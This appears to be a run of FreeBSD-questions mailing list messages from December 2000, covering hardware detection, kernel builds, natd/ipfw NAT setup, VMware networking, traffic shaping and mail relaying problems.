> cyberdude7791?@yahoo.com
>  thanking you
>                               yours faithfully
>                                 vinod
>  
> 
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Has anyone successfully tried to set up some kind of virus scanner for
incoming mail in the FreeBSD community?

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i solved the problem by making my ide disk the primary master and pushing
the ide cdrom to primary slave position, swapping their positions.

now i see 'ad0' in dmesg, and everything worked.

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> someone once asked how to add an ide disk to a freebsd system installed on
a
> scsi. i am using FreeBSD 4.0 but i could not see 'ad0' or 'wd0' in dmesg.
>
> i suspect i need to add ide-probing in the kernel. now the boot simply
can't
> detect the ide.
>
> my bios could detect the new Quantum Fireball ide disk (as shown on screen
> after the mem test). i have tried both IDE1 and IDE2 ports. i finally
> settled on IDE1. on IDE1 there are 2 devices: primary master is a cd rom
> drive, and primary slave is the Quantum Fireball ide disk.
>
> everything in the original message attached  applies to me.
>
> > Are there any issues involved in using a combination of SCSI and IDE
> > drives ?
> >
> > I want to mount an IDE drive with a BSD ufs in a system booted from a
> > SCSI drive.
> >
> > If I play with Bios I can change which drive it boots too but when I
> > boot into the system on the SCSI drive the IDE drive
> > does not show up in dmesg.boot and is unmountable.
>
> ---------- here is my dmesg.boot ---------
> Copyright (c) 1992-2000 The FreeBSD Project.
> Copyright (c) 1982, 1986, 1989, 1991, 1993
>  The Regents of the University of California. All rights reserved.
> FreeBSD 4.0-RELEASE #0: Thu Nov 16 04:43:12 GMT 2000
>     tanbin@camel.yourtender.com:/usr/src/sys/compile/IPMSQ
> Timecounter "i8254"  frequency 1193182 Hz
> CPU: Pentium III/Pentium III Xeon (499.15-MHz 686-class CPU)
>   Origin = "GenuineIntel"  Id = 0x672  Stepping = 2
>
>
Features=0x387f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,
> PAT,PSE36,PN,MMX,FXSR,XMM>
> real memory  = 67043328 (65472K bytes)
> avail memory = 61087744 (59656K bytes)
> Preloaded elf kernel "kernel" at 0xc03c3000.
> Pentium Pro MTRR support enabled
> md0: Malloc disk
> npx0: <math processor> on motherboard
> npx0: INT 16 interface
> pcib0: <Intel 82443BX (440 BX) host to PCI bridge> on motherboard
> pci0: <PCI bus> on pcib0
> pcib1: <Intel 82443BX (440 BX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
> pci1: <PCI bus> on pcib1
> pci1: <ATI Mach64-GZ graphics accelerator> at 0.0
> isab0: <Intel 82371AB PCI to ISA bridge> at device 7.0 on pci0
> isa0: <ISA bus> on isab0
> atapci0: <Intel PIIX4 ATA33 controller> port 0xf000-0xf00f at device 7.1
on
> pci0
> ata0: at 0x1f0 irq 14 on atapci0
> pci0: <Intel 82371AB/EB (PIIX4) USB controller> at 7.2 irq 11
> chip1: <Intel 82371AB Power management controller> port 0x5000-0x500f at
> device 7.3 on pci0
> rl0: <RealTek 8139 10/100BaseTX> port 0xe400-0xe4ff mem
> 0xe9000000-0xe90000ff irq 10 at device 9.0 on pci0
> rl0: Ethernet address: 00:50:ba:d2:fa:28
> miibus0: <MII bus> on rl0
> rlphy0: <RealTek internal media interface> on miibus0
> rlphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
> rl0: supplying EUI64: 00:50:ba:ff:fe:d2:fa:28
> xl0: <3Com 3c905C-TX Fast Etherlink XL> port 0xe800-0xe87f mem
> 0xe9002000-0xe900207f irq 11 at device 11.0 on pci0
> xl0: Ethernet address: 00:50:da:75:22:76
> miibus1: <MII bus> on xl0
> xlphy0: <3c905C 10/100 internal PHY> on miibus1
> xlphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
> ahc0: <Adaptec aic7890/91 Ultra2 SCSI adapter> port 0xec00-0xecff mem
> 0xe9001000-0xe9001fff irq 5 at device 12.0 on pci0
> ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs
> fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
> fdc0: FIFO enabled, 8 bytes threshold
> fd0: <1440-KB 3.5" drive> on fdc0 drive 0
> atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
> atkbd0: <AT Keyboard> irq 1 on atkbdc0
> vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
> sc0: <System console> on isa0
> sc0: VGA <16 virtual consoles, flags=0x200>
> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
> sio0: type 16550A
> sio1 at port 0x2f8-0x2ff irq 3 on isa0
> sio1: type 16550A
> ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
> ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode
> ppi0: <Parallel I/O> on ppbus0
> lpt0: <Printer> on ppbus0
> lpt0: Interrupt-driven port
> plip0: <PLIP network interface> on ppbus0
> IP packet filtering initialized, divert enabled, rule-based forwarding
> disabled, default to deny, logging disabled
> acd0: CDROM <SONY CD-ROM CDU4821> at ata0-master using PIO4
> Waiting 15 seconds for SCSI devices to settle
> Mounting root from ufs:/dev/da0s1a
> da0 at ahc0 bus 0 target 6 lun 0
> da0: <QUANTUM ATLAS 10K 9WLS UC81> Fixed Direct Access SCSI-3 device
> da0: 11.626MB/s transfers (5.813MHz, offset 31, 16bit), Tagged Queueing
> Enabled
> da0: 8759MB (17938986 512 byte sectors: 255H 63S/T 1116C)
> ________________________ end ___________
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Hi, FreeBSD.
I want to know if FreeBsd has a schedule for virtual
server, just like
----http://www.linuxvirtualserver.org

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Gunnar Flygt schrieb:
> 
> Has anyone successfully tried to set up some kind of virus scanner for
> incoming mail in the FreeBSD community?
> 
> Please cc me since I don't subscribe to the list!

www.amavis.org has all you need -- less a commercial virus scanner. I
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- Try

/usr/local/etc/rc.d/


Create a startup script liek so


vi sysprogs.sh
Tyep in  the following

#!/bin/sh
/usr/local/sysprogs/bin/startsomething

Exit From vi


Chmod 755 sysprogs.sh


On Mon, 18 Dec 2000, Drew Tomlinson wrote:
> I have added a program to my system and would like it to start
> automatically upon boot.  I'm sure it's as simple as adding the program
> name to some startup script but I don't know where that would be.  So
> what file do I need to modify?
> 
> Thanks for your help!
> 
> Drew
> 
> 
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-If you are asking if FreeBSD will run on Apple Mac
- No I don't think FreeBSD can 
- but you can try netbsd which can run on Apple Macs

Checkout www.netbsd.org


O



n Mon, 18 Dec 2000, claude m. boland wrote:
> Will this run on an Apple Mac.
> -- 
> Claude M. Boland
> cboland@mail.cablespeed.com
> 
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=20
I have installed FreeBSD from a magazine cover disc.
I use a fixed HD which has the Win 98 OS. In addition, I use the =
following removable HDs:
         =3Done has Win 2000 (NT)
         =3Done has LInux Mandrake
         =3Done has Debian Gnu Linux and the above BSD.
I load Linux Mandrake and Debian Linux using a boot floppy. I prefer to =
boot this way to
avoid messing about with the MBR and because of Win 2000 (whitch is NT!)
           My question is: how can I boot BSD from a floppy?
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           Here`s wishing you a Merry Xmas and a Happy New Year!
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Can anyone suggest a network monitoring utility along the lines of ntop
that is properly sorted out. In theory at least, ntop should be a good =
thing,
unfortunately its doesn't appear to be sufficiently debugged to be =
usable.=20

Apparently the port for ntop is a geriatric one that is reported to have =
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Hi!

Should I use host-only networking or bridged networking ?
Where can I find a good howto ?

vmware2
4.2-STABLE

Best regards 

Johan 

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vmware.com has the links

as for host-only or bridged:

Host only sets up a virtual network betwwen the host and client OS's.

Bridged allows the client OS to use the real network card.

I personally use both, in fact BSD  can't access the PC Cards on my laptop
directly - seems to be an unsupported PCCARD bridge or something -
but using Linux as the host and FreeBSD as the client I can get FreeBSD on
the network.


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Hi!

Should I use host-only networking or bridged networking ?
Where can I find a good howto ?

vmware2
4.2-STABLE

Best regards 

Johan 

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On 2000.12.18 05:52:15 +0000 Crist J. Clark wrote:
> On Sun, Dec 17, 2000 at 07:32:23PM -0800, Don O'Neil wrote:
> > >
> > > -----Original Message-----
> > > From: owner-freebsd-questions@FreeBSD.ORG
> > > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Moses
> Backman
> > > III
> > > Sent: Sunday, December 17, 2000 12:15 PM
> > > To: Walter W . Hop
> > > Cc: Moses Backman III; Kenneth Wayne Culver; Quetstions FreeBSD
> > > Subject: Re: ip aliasing
> > >
> > >
> > > On 2000.12.18 01:10:58 +0000 Walter W. Hop wrote:
> > > > [in reply to penguinjedi@home.com, 17-12-2000]
> > > >
> > > > >> options IPFIREWALL
> > > > >> options IPDIVERT
> > > > > ok i did not add those 2 options to my kernel, but i did just now
> and i got
> > > > > an error when i compile
> > > >
> > > > I believe you should add this as well:
> > > >
> > > > options         IPFIREWALL_FORWARD
> > > >
> > >
> > > i'm sure we're on the right path here, but i'm still getting the
> > > same error
> > > message
> > > by the way, i have 2 machines for now on my internal network and then
> i
> > > have my BSD box, my
> > > subnet for the 192.168.0.1/2/3 addresses should be 255.255.255.0
> right?
> >
> > Actually... the netmask for the first IP should be /24 (255.255.255.0)
> but
> > the aliases should be 255.255.255.255....
> 
> Aliases? He's talking about three different machines I assume. And to
> your remark about 32-bit netmasks, that is not always true...
> 
> > Here's an example for /etc/rc.conf:
> > 
> > ifconfig_fxp0="inet 10.10.10.1  netmask 255.255.255.0"
> > ifconfig_fxp0_alias0="inet 10.10.11.1  netmask 255.255.255.255"
> > ifconfig_fxp0_alias1="inet 10.10.12.1  netmask 255.255.255.255"
> 
> Like in this case. Here each should have a 255.255.255.0 netmask. One
> uses a 255.255.255.255 netmask on aliases when the alias address lies
> on the same network as the "real" address.
> 
> > Unless you're going to setup packet filtering or the kernel based
> firewall,
> > then there is no need to activate the options you were told you
> needed....
> 
> He want's do do NAT. He needs IPFIREWALL and IPDIVERT.
> 
> > The basic kernel supports mutiple IP address aliases by default.
> 
> His subject line is skewed from the real topic. I'll change it in this
> reply.
> 
> Anyway, on to the compile problem. Please humor me. Go to the build
> diretory and try,
> 
>   # make clean depend all
> 
> Again. If you get that error, please send your kernel config file to
> the list. As well as the error message including the few lines leading
> up to it. Where did you get your source tree?
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu
> 
> 
THAT WAS IT!!!!!!!!!!!!!!!!!!!!!  IT WORKS NOW.  THANKS A BILLION
I LOVE THIS CRAP!!!!!!

just one more question...  make clean depend all starts the build from
scratch ? if so, i could have danced around last night if i had just
renamed my kernel, huh?
> 



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Occulo,
Please check out: http://www.freebsd.org/copyright/daemon.html

as stated on the bottom of the page,
"Permission to use the daemon may be obtained from:

Marshall Kirk McKusick
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or via email at mckusick@mckusick.com." 

-Otter



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}Sir,
}
}On my recent travels round the net I discovered that I was 
}unknowingly using 
}your logo (the devil) on my website.
}I understand that the logo is your property, but I would ask 
}if I can continue 
}to use it.
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Hello ALL,

  Is there any package/port that provide _software_ solution to limit or
  shape traffic other then built-in dummynet? I found it not very
  convinient to use....

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Hi!

Are zonet NIC supported under fbsd.

It isn=B4t listed under
http://www.freebsd.org/handbook/install-hw.html

But I thought I should check the mailing list as well...



ZEN3200 10/100Mbps PCI Fast Ethernet LAN Adapter


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Hi there,

            Any services in particular?
James Lim
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Pacific Internet Limited
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Finger evilfry@sg.freebsd.org for PGP key.

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> Hello ALL,
> 
>   Is there any package/port that provide _software_ solution to limit or
>   shape traffic other then built-in dummynet? I found it not very
>   convinient to use....
> 
> -- 
> Best regards,
>  Dennis                          mailto:freebsd@omni.dp.ua
> 
> 
> 
> 
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I have an account called 'routerboy' set up on my FreeBSD machine, and while
I can send emails internal fine, I get the below error message when sending
out:


"The message could not be sent because one of the recipients was rejected by
the server. The rejected e-mail address was 'routerboy309@hotmail.com'.
Subject 'test again', Account: 'green002.greenmachine.net', Server:
'green002.greenmachine.net', Protocol: SMTP, Server Response: '550 5.7.1 <
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Actually, from all the info I've been reading as of 1st quarter 2001, 
AMD is releasing the 76xMP chipset for use as a multiprocessor 
platform. Unless for some reason this got scrapped and I didn't find 
out about it... (Hope not!)

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> J.Goodleaf (john@goodleaf.net) wrote:
> 
> > If you need/want a dual proc machine, you must go Intel.
> 
> If I'm not mistaken, this is a hardware limitation, not a FreeBSD
> limitation... Dual processor AMD motherboards aren't made yet. 
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>   Is there any package/port that provide _software_ solution to limit or
>   shape traffic other then built-in dummynet? I found it not very
>   convinient to use....

There is commercial product "bw-mgr" here for FreeBSD: www.etinc.com

Full function 1-hour-timeout evaluation version for 
download.  Includes MRTG support and web admin interface.  bw-mgr is 
included with the etinc WAN cards or $600 stand-alone.

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Dennis Turpitka wrote:
> 
> Hello ALL,
> 
>   Is there any package/port that provide _software_ solution to limit or
>   shape traffic other then built-in dummynet? I found it not very
>   convinient to use....

Try 'AltQ' - we've been using it here for a number of years now... It can be a
little complex to set-up (which may not be what your looking for) - but it is
another alternative...

http://www.csl.sony.co.jp/person/kjc/kjc/software.html

Regards,

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Hello,
I have this Mainboard with this Chipset:

ASUSTEK P4T chipset Intel 850

is this supported ??
I did not find this in the hardware compatibility list
This is the mainboard  and chipset for the Pentium 4 CPUs.
Thanks a lot

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Hello is the ULTRA 160 host adapters from Adaptect supported yet ???

thanks


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Hi folks,

I am running a freebsd box as a bridge between a dsl modem and the rest
of my internal network. I have some real and some fake IPs on the inside.
The real IP machines are working just fine getting to the outside
world but the fake ones are having problems. I am running natd (-s -u -m -n external_ethernet)
and when I slap in the ipfw rule of

ipfw add divert natd all from any to any via fxp0

my fake IPs work but the real IPs stop. Removing the line switches which ones
work. I had thought perhaps a divert line of something like

ipfw add divert natd all from 10.0.0.0/8 to any via fxp0
 
amight only divert the packets from the inside fake IP machines but it doesnt work
so Im guessing that I am missing something.

Anyone have any thoughts?

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This may help a bit: 
I'm running FreeBSD 3.4-RELEASE

I run natd for the same reason...I have 2 nic's ed1 (the external network)
and ed2 (my interal network).

In /etc/rc.firewall:

/sbin/ipfw -f flush
/sbin/ipfw add divert natd all from any to any via ed1
/sbin/ipfw add pass all from any to any

(got those from the natd man page)

and in rc.conf:

natd_program="/sbin/natd"       # path to natd, if you want a different one.
natd_enable="YES"               # Enable natd (if firewall_enable == YES).
natd_interface="ed1"            # Public interface or IPaddress to use.
natd_flags="-f /usr/local/etc/natd.conf"    # Additional flags for natd.

The /usr/local/etc/natd.conf is just my config file, I have a few ports I
needed to be passed thorugh to my windows box with no filtering so ceartain
applications would work correctly (like dialpad.com and napster).  Otherwise
I have had zero problems with this, there is probably a more efficent way to
do this but this has always worked for me.

If you just follow the instructions in man natd you should have no problems
setting this up (if you have 2 nics at least)

Gene Dinkey
Hewlett Packard Customer Care
TCD - PA-RISC based workstations
Phone: 970.278.8732
Fax:   970.613.2257


> -----Original Message-----
> From: heistand@heistand.org [mailto:heistand@heistand.org]
> Sent: Monday, December 18, 2000 8:07 AM
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> Subject: bridging/natd problems
> 
> 
> Hi folks,
> 
> I am running a freebsd box as a bridge between a dsl modem 
> and the rest
> of my internal network. I have some real and some fake IPs on 
> the inside.
> The real IP machines are working just fine getting to the outside
> world but the fake ones are having problems. I am running 
> natd (-s -u -m -n external_ethernet)
> and when I slap in the ipfw rule of
> 
> ipfw add divert natd all from any to any via fxp0
> 
> my fake IPs work but the real IPs stop. Removing the line 
> switches which ones
> work. I had thought perhaps a divert line of something like
> 
> ipfw add divert natd all from 10.0.0.0/8 to any via fxp0
>  
> amight only divert the packets from the inside fake IP 
> machines but it doesnt work
> so Im guessing that I am missing something.
> 
> Anyone have any thoughts?
> 
> thanks
> 
> -- 
> Steve Heistand
> heistand@heistand.org
> 
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hi dude,

| I am running a freebsd box as a bridge between a dsl modem and the
rest
| of my internal network. I have some real and some fake IPs on the
inside.
| The real IP machines are working just fine getting to the outside
| world but the fake ones are having problems. I am running natd
(-s -u -m -n external_ethernet)
| and when I slap in the ipfw rule of


[snip]

i had the same "good time" with that... unfortunately i "understood"
that this combination
[natd + ipfw + bridge] will never work in such case like internal +
external networks via one gw with one real ip subnet and made workaround
with ipnat + ipfw + bridge :-)

anyway - this is funy sex to do... try to get some /30 subnet for your
modem<->ISP connection, take or leave some /29 or /30 subnet for servers
and you'll avoid lot's of stupid configuration problems + your
network will look like it suppose to be :-)

cheers,
Jenty



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On Sun, Dec 17, 2000 at 06:05:29PM +0300, Artem Koutchine scribbled:
| 1) Sit and wait for a CD to be inserted
| 2) If CD is an AUDIO cd then DO THING1 (play cd)
| 3) if a CD is a DATA cd then DO THING2 (scan for mp3s, run mp3 player)
| 4) is a CD is an OTHER cd type the DO THING3 (play video?, nuts..)
| 5) If CD is ejected then do THING4
| 
| I have no problems with the THINGS :) But i do have
| trouble with
| 1) Detecting the moment when a cd is inserted. Is there some
| kind of event? Or must I poll the drive every second?
| 2) Detecting the type of CD. I have no clue how to do it.
| 3)  Detecting the moment when the user press the eject button

Please see the cdcontrol(8) source, or the code in ports/audio/grip
and the code in mount(8)

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Good Day,

I have a bit of a problem.  The boot floppy that contains the kernel
for FreeBSD 4.2-RELEASE does not seem to contain the NIC driver that
I require for my NIC so I can do an FTP install.

The question is as follows.  Is there a way I can recompile the base
kernel with support for my NIC, boot from that, and then do a clean
install via FTP?  Or is it a little more complicated?  Impossible?

Thanks for your help,
John Wilson




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On Sun, Dec 17, 2000 at 06:11:17PM -0500, Tim McMillen wrote:
> 
> 
> On Sun, 17 Dec 2000, Brent Kearney wrote:
> > 
> > If I want to upgrade a port, apache for example, what is the best way
> > to proceed?  
[...]
> 	Yes you need to use pkg_delete to get rid of as much as you can.
> Some will not get deleted.  I think the only way to get around that is to
> delete the remnants that are reported by the pkg_delete command by hand.

I think the port intentionally leaves some things laying around on delete.
Such as your apahce.conf, default data directory, PostgreSQL data, etc.

If you have command line completion enabled (default in tcsh) then

	# pkg_delete /var/db/pkg/apach<TAB>

will fill in the nitty gritty hard to type version info. And pkg_delete
isn't unhappy with the leading path.

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> Someone wrote:
> then If  I want to learn shell script programming on FreeBSD, there are
two shell
> languages to learn, two big horrible manuals to read,  this also sucks,  I
am tired.
> this is obstacle for Linux user switch to FreeBSD, bash is compatible with
sh,
> this is good, csh should definitely be removed from FreeBSD or default
> not to install it.

Regardless of which shell (or programming language) you use, there will
already be at least one big thick manual to read, so that argument does not
hold here.

It's entirely unreasonable to expect a native installation of an OS to be
perfectly customized to your tastes.  In terms of changing the default shell
to suit your tastes (or what you know), a 'chsh' command the first time you
log in will change the default shell to whatever you want.  (If you want
bash or pdksh or anything other than csh or sh, then you'll have to install
it from ports first.  Two simple commands:  cd /usr/ports/shells/<your shell
here>, make install)

I have a customization list a page long of all the things I do to my FreeBSD
machines when I set them up for the first time - changing shells and default
setups, installating utlities, etc. These customizations are just part of
what needs to be done to suit my preferences.  I suggest that you start
making a list for yourself, rather than asking the FreeBSD community to
change itself to suit you.

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On Mon, 18 Dec 2000, John Wilson wrote:

> The question is as follows.  Is there a way I can recompile the base
> kernel with support for my NIC, boot from that, and then do a clean
> install via FTP?  Or is it a little more complicated?  Impossible?

Yes. Read the handbook entry on compiling a custom kernel if you are not
familiar with the process. Build the kernel as per normal.

Create a boot.flp disk and mount it (It's UFS). gzip your kernel file
(/sys/compile/<yourkernel>/kernel) and copy it over the kernel.gz file on
the floppy image. Boot from this floppy. Easy :)

G

"And then it comes to be that the soothing light
   at the end of your tunnel was just a freight
            train, comin' your way."

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Does anyone know where the 4 security levels offered during installation are
documented?  I think they say exactly what each one does.  I would like to
know which services are enabled for each setting, and I *believe* each one
also sets the kernel security level but I am not sure.

Where can I find these bits of info (installation and kernel security
levels)?

thanks,

Jonathon
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On Mon, 18 Dec 2000, George Reid wrote:
[...]
> Create a boot.flp disk and mount it (It's UFS). gzip your kernel file
> (/sys/compile/<yourkernel>/kernel) and copy it over the kernel.gz file on
> the floppy image. Boot from this floppy. Easy :)

Thanks for the help.  I didn't think it would be this easy to do, so I
figured I'd ask the list before I hosed my system. :)  At least if this
works out well, I can finally rid myself of that pesky MSDOS partition for
good.

Thanks again, and take care.

- John "Buildin' that kernel as we speak" Wilson




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Rule #1:  Don't post in HTML.

> I have an account called 'routerboy' set up on my FreeBSD machine,
> and while I can send emails internal fine, I get the below error message
> when sending out:

> "The message could not be sent because one of the recipients was rejected
> by the server. The rejected e-mail address was 'routerboy309@hotmail.com'.
> Subject 'test again', Account: 'green002.greenmachine.net', Server:
> 'green002.greenmachine.net', Protocol: SMTP, Server Response: '550 5.7.1
> <routerboy309@hotmail.com>... Relaying denied', Port: 25, Secure(SSL):
> No, Server Error: 550, Error Number: 0x800CCC79"

> Any ideas...?????

Obviously you're sending mail from a Windows machine through the FreeBSD
machine to the Internet.  There are many things that could cause a "relaying
denied" message to appear, most of which which relate to the configuration
of sendmail.

I would suggest looking at http://www.sendmail.org to see what they
recommend.

--
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Subject: 4.2: PS2 mouse disappears when switched through KVM switch-box
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I'm trying to run kbd, mouse, video through a switchbox --
unfortunately a lowly mechanical switchbox instead of a digital one
like a Belkin.

When I switch between FreeBSD-4.2-STABLE/RELEASE the mouse becomes
inoperative.  The "moused" man page indicates that you can get it back
by sending it a HUP, and this works -- assuming your dead mouse is in
a window you can type in :-(

This switch-box behavior is the same as just unplug and reconnect the
PS2 mouse. 

Is it possible to have FreeBSD automatically recognize a newly
(re)conencted mouse? Never had this problem with old serial mice. It's
almost as bad as unplugging the keyboard or serial console from a Sun :-(

I'd prefer not to spend big bucks on a digital KVM, but if I do, would
it solve this problem? A search of Questions/Hackers indicates there
are some current problems with digital KVMs and FreeBSD that do not
occur with other inferior OSes...

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> needed to be passed thorugh to my windows box with no filtering so 
> ceartainapplications would work correctly (like dialpad.com and 
> napster).


I'd be interested in your rules for diverting dialpad.com and napster 
in particular, since I am in a similar situation and would like to use 
them (dialpad in particular).



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Hi

Im using FreeBSD 4.2 STABLE and I have a problem.
I cant get the swedish accent character to work. Pressing the key to the left
of the backspace key on my swedish keyboard followed by e should produce it
but it doesnt. If I press alt+gr+*/'+e I will get something that looks like it
but unfortunately its reversed.
Any ideas on how to get this working?
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Here's what's in my /usr/local/etc/natd.conf:

# Port redirects for Shoutcast streams (was for kusr)

redirect_port tcp 10.0.0.2:8000 8000
redirect_port tcp 10.0.0.2:8000 8000

# Port redirects for dialpad to function properly

redirect_port tcp 10.0.0.2:51210 51210
redirect_port udp 10.0.0.2:51200 51200
redirect_port udp 10.0.0.2:51201 51201

# Port redirect for Napster - so people can d/l from me 
 
redirect_port tcp 10.0.0.2:6699 6699
redirect_port udp 10.0.0.2:6699 6699

I use 10.x.x.x for all my internal network since the 10. stuff is supposed
to be for local stuff as it is.  I also used to connect to a shoutcast
stream and found that natd really fuxored that up if you don't specificaly
tell it to redirect the ports above.

The ip address for ed2 on the unix box (which serviced my internal network)
is 10.0.0.1, interface ed1 I'm using the ip address assigned to me by @home.
Then the other systems on my network are 10.0.0.2, .3, etc...

Good lukc...I'm not sure how you would do natd with only 1 nic but according
to the man page it can be done.


> -----Original Message-----
> From: Jeremy Vandenhouten [mailto:jeremy.vandenhouten@marquette.edu]
> Sent: Monday, December 18, 2000 9:41 AM
> To: DINKEY,GENE (HP-Loveland,ex1); questions@freebsd.org
> Subject: Re: RE: bridging/natd problems
> 
> 
> > needed to be passed thorugh to my windows box with no filtering so 
> > ceartainapplications would work correctly (like dialpad.com and 
> > napster).
> 
> 
> I'd be interested in your rules for diverting dialpad.com and napster 
> in particular, since I am in a similar situation and would 
> like to use 
> them (dialpad in particular).
> 


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On Mon, Dec 18, 2000 at 08:44:09AM +0000, Moses Backman III wrote:
> 
> On 2000.12.18 05:52:15 +0000 Crist J. Clark wrote:

[snip]

> > Anyway, on to the compile problem. Please humor me. Go to the build
> > diretory and try,
> > 
> >   # make clean depend all
> > 
> > Again. If you get that error, please send your kernel config file to
> > the list. As well as the error message including the few lines leading
> > up to it. Where did you get your source tree?
> > -- 
> > Crist J. Clark                           cjclark@alum.mit.edu
> > 
> > 
> THAT WAS IT!!!!!!!!!!!!!!!!!!!!!  IT WORKS NOW.  THANKS A BILLION
> I LOVE THIS CRAP!!!!!!
> 
> just one more question...  make clean depend all starts the build from
> scratch ? if so, i could have danced around last night if i had just
> renamed my kernel, huh?

It depends. I have the feeling, although I could not tell for sure,
that you got the error you did in your other build attempts because
you were skipping the 'make depend' step. If that is so, nothing would
have worked until you did that.

The 'make clean' just eliminates some other possible problems, but in
theory, is not needed. 'make' should be able to figure out what
targets need updating.
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On Sat, 16 Dec 2000, Fredrik Gynnhammar wrote:

> I recently upgraded to FreeBSD 4.2-STABLE and compiled XFree 4.0.1 from 
> /usr/ports and get this error when i try to run XFree86 -configure:
> 
> XFree86 Version 4.0.1 / X Window System
> (protocol Version 11, revision 0, vendor release 6400)
> Release Date: 1 July 2000
> 	If the server is older than 6-12 months, or if your card is newer
> 	than the above date, look for a newer version before reporting
> 	problems.  (see http://www.XFree86.Org/FAQ)
> Operating System: FreeBSD 4.2-STABLE i386 [ELF]
> Module Loader present
> (==) Log file: "/var/log/XFree86.0.log", Time: Sat Dec 16 14:48:57 2000
> (--) Using syscons driver with X support (version 2.0)
> (--) using VT number 9
> 
> Fatal server error:
> xf86EnableIO: Failed to open /dev/io for extended I/O
> 
> Does anyone know how to fix it ?

I recently had problems like that - I had my kernel running in security level 2; after I changed my rc.conf to kern_securelevel_enable="NO" I was able to get X up and running.  If there is some other fix for this problem besides that one I would sure be interested in it.

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	I've encountered a problem at a location where I am using a FreeBSD/Samba
setup as a Fileserver for a small LAN ( ~5 workstations ).  The hardware spec's
of the server should be more than adiquate for a small LAN and the network is
running on all 100 base.

	The problem appears to be initiated by the running of a certain program on
several workstaions at once ( Windows 98 workstations ).  The way the program
works is that it opens serveral ( ~30 ) files on the fileserver at once and uses them
as well as storing decent sized database files on the server..  When this program
is used on 3 or 4 workstations at once.. eventually all network operations with the
server stop working.

	At first all of the workstations can run the program fine and access all material
in the manner expected.  After a varying amount of time though eventually one of
the workstations will get disconnected from the Samba Fileserver ( the windows
drive mapping will disconnect ).  At this time the other workstaions on the network
may or may not still have access to the server, but as soon at they try to relogin
to the server, they are denied ( relogin meaning either rebooting their workstaion, or
simple loging off windows and relogining in. ). 

	The message that is given when they try to relogin is "Network Busy".  At this 
point the only remedy that has been found is to reboot the server and it will begin
to operate normally for a while.  

I am wondering if anyone is familiar with a possible cause of this problem.  I have
had a lot of trouble trying to diagnose the cause.. The possibilities that I have come
up with so far are increasing the default max users and NMBCLUSTERS in the
freebsd kernel, a new nic ( already tried this once and didn't fix the problem ), the 
limits on open files.. which should not be it since that are unlimited right now, or 
a samba configuration problem.  I am at a loss as to what the problem is, so if
anyone could offer some insight or advice I am eager to hear from you.

I do not subscribe to the list, so Please CC me if you think of anything.

Kindest Regards,
		-Aric

PS. Just because I mentioned an idea in the possible causes, doesn't mean I know
how to fix it, so please, if you have an idea, let me know ; )


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}-----Original Message-----
}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of DINKEY,GENE
}(HP-Loveland,ex1)
}Sent: Monday, December 18, 2000 11:56 AM
}To: 'Jeremy Vandenhouten'; DINKEY,GENE (HP-Loveland,ex1);
}questions@FreeBSD.ORG
}Subject: RE: RE: bridging/Nat problems
}
}
}Here's what's in my /usr/local/etc/natd.conf:
}
}# Port redirects for Shoutcast streams (was for kusr)
}
}redirect_port tcp 10.0.0.2:8000 8000
}redirect_port tcp 10.0.0.2:8000 8000
}
}# Port redirects for dialpad to function properly
}
}redirect_port tcp 10.0.0.2:51210 51210
}redirect_port udp 10.0.0.2:51200 51200
}redirect_port udp 10.0.0.2:51201 51201
}
}# Port redirect for Napster - so people can d/l from me
}
}redirect_port tcp 10.0.0.2:6699 6699
}redirect_port udp 10.0.0.2:6699 6699
}
}I use 10.x.x.x for all my internal network since the 10.
}stuff is supposed
}to be for local stuff as it is.  I also used to connect to a
}shoutcast
}stream and found that natd really fuxored that up if you
}don't specificaly
}tell it to redirect the ports above.
}

Gene,
How does it "really fuxored that up"? I listen to outside shoutcast
feeds all the time behind my gateway (runing ipfw+natd). Are you
serving the stream or connecting to another? I understood it to be
connecting to another. No problems here that I'm aware of, unless it's
something that I'm missing. Also, I'm using 192.168.1.x private ips,
but I wouldn't think that would affect the way natd works.
-Otter


}The ip address for ed2 on the unix box (which serviced my
}internal network)
}is 10.0.0.1, interface ed1 I'm using the ip address assigned
}to me by @home.
}Then the other systems on my network are 10.0.0.2, .3, etc...
}
}Good lukc...I'm not sure how you would do natd with only 1
}nic but according
}to the man page it can be done.
}
}
}> -----Original Message-----
}> From: Jeremy Vandenhouten
}[mailto:jeremy.vandenhouten@marquette.edu]
}> Sent: Monday,
}December 18, 2000 9:41 AM
}> To: DINKEY,GENE (HP-Loveland,ex1); questions@freebsd.org
}> Subject: Re: RE: bridging/natd problems
}>
}>
}> > needed to be passed thorugh to my windows box with no
}filtering so
}> > ceartainapplications would work correctly (like dialpad.com and
}> > napster).
}>
}>
}> I'd be interested in your rules for diverting dialpad.com
}and napster
}> in particular, since I am in a similar situation and would
}> like to use
}> them (dialpad in particular).
}>
}
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Hello, I have been trying unsuccessfully to get FreeBSD to recognize my 
parallel port so that I may use my printer.  I have the following devices 
enabled in by kernel:

device	ppc0	at isa? irq 7
device	ppbus
device 	lpt
device	ppi
device	vpo	# for my ZIP disk

The irq is correct for my parallel port, however dmesg yields:

ppc0: parallel port not found

Is there something that I should be adding to my kernel?  I have gone through 
the Handbook without success.

The same dmesg results when using the GENERIC kernel as well.

Thanks for your assistance...


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> }to be for local stuff as it is.  I also used to connect to a
> }shoutcast
> }stream and found that natd really fuxored that up if you
> }don't specificaly
> }tell it to redirect the ports above.
> }
> 
> Gene,
> How does it "really fuxored that up"? I listen to outside shoutcast
> feeds all the time behind my gateway (runing ipfw+natd). Are you
> serving the stream or connecting to another? I understood it to be
> connecting to another. No problems here that I'm aware of, unless it's
